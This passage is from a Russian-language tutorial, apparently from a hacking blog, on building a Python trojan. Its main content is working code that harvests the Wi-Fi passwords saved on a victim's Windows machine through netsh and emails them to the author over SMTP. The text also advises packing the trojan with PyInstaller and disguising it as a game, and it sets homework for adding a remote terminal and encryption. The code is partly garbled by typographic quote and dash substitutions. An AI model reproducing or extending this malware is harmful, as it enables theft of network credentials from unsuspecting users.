Осталась одна проблема: наша изначальная задумка была забрать пароли себе, а не показывать их пользователю. Исправим же это.
Допишем еще один вариант команды в скрипт, где обрабатываем наши команды из сети.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
if server_command == ‘Wi-Fi’: data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’) Wi—Fis = [line.split(‘:’)[1][1:—1] for line in data if «Все профили пользователей» in line] for Wi—Fi in Wi—Fis: results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, Wi—Fi, ‘key=clear’]).decode(‘cp866’).split(‘n’) results = [line.split(‘:’)[1][1:—1] for line in results if «Содержимое ключа» in line] try: email = ‘mail@yandex.ru’ password = ‘***’ dest_email = ‘demo@demo.ru’ subject = ‘Wi-Fi’ email_text = (f‘Name: {Wi-Fi}, Password: {results[0]}’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() except IndexError: email = ‘mail@yandex.ru’ password = ‘***’ dest_email = ‘demo@demo.ru’ subject = ‘Wi-Fi’ email_text = (f‘Name: {Wi-Fi}, Password not found!’) message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL(‘smtp.yandex.com’) server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit() |
Этот скрипт прост как два рубля и ожидает увидеть русскоязычную систему. На других языках это не сработает, но исправить поведение скрипта можно простым выбором разделителя из словаря, где ключ — обнаруженный на компьютере язык, а значение — требуемая фраза на нужном языке.
Все команды этого скрипта уже подробно разобраны, так что я не буду повторяться, а просто покажу скриншот из своей почты.
Доработки
Конечно, тут можно доработать примерно все — от защиты канала передачи до защиты самого кода нашего вредоноса. Методы связи с управляющими серверами злоумышленника тоже обычно используются другие, а работа вредоноса не зависит от языка операционной системы.
И конечно, сам троян очень желательно упаковать с помощью PyInstaller, чтобы не тянуть с собой на машину жертвы питон и все зависимости. Игра, которая требует для работы установить модуль для работы с почтой, — что может больше внушать доверие?
Заключение
Сегодняшний троян настолько прост, что его никак нельзя назвать боевым. Тем не менее он полезен для изучения основ языка Python и понимания алгоритмов работы более сложных вредоносных программ. Мы надеемся, что вы уважаете закон, а полученные знания о троянах вам никогда не понадобятся.
В качестве домашнего задания рекомендую попробовать реализовать двусторонний терминал и шифрование данных хотя бы с помощью XOR. Такой троян уже будет куда интереснее, но, безусловно, использовать его in the wild мы не призываем. Будьте аккуратны и не делайте глупостей!
Еще по теме: Как создать троян для Android